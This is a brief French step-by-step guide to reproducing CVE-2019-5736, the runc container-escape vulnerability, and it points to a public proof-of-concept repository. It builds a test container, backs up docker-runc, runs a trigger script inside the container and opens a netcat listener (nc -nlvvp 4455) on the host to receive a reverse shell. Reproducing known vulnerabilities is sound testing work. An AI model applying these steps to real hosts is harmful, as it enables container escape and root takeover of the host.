- (1). Compilez stage2.c en tant que fichier exécutable et placez-le dans le conteneur.
- (2). Créez un DockerFile et exécutez docker build -t cve .
- (3). docker run -d -t --name cvetest cve
- (4). Sauvegardez le runc existant avec cp /usr/bin/docker-runc /usr/bin/docker-runc.bak
- (5). Accédez au conteneur avec docker exec -it cve /bin/bash.
- (6). Dans le conteneur, exécutez cd /root && ./run.sh && exit
- (7). Sur l'hôte, exécutez nc -nlvvp 4455
- (8). Rouvrez un shell dans le conteneur avec docker exec -it cve /bin/bash
Référence : https://github.com/agppp/cve-2019-5736-poc
Fin.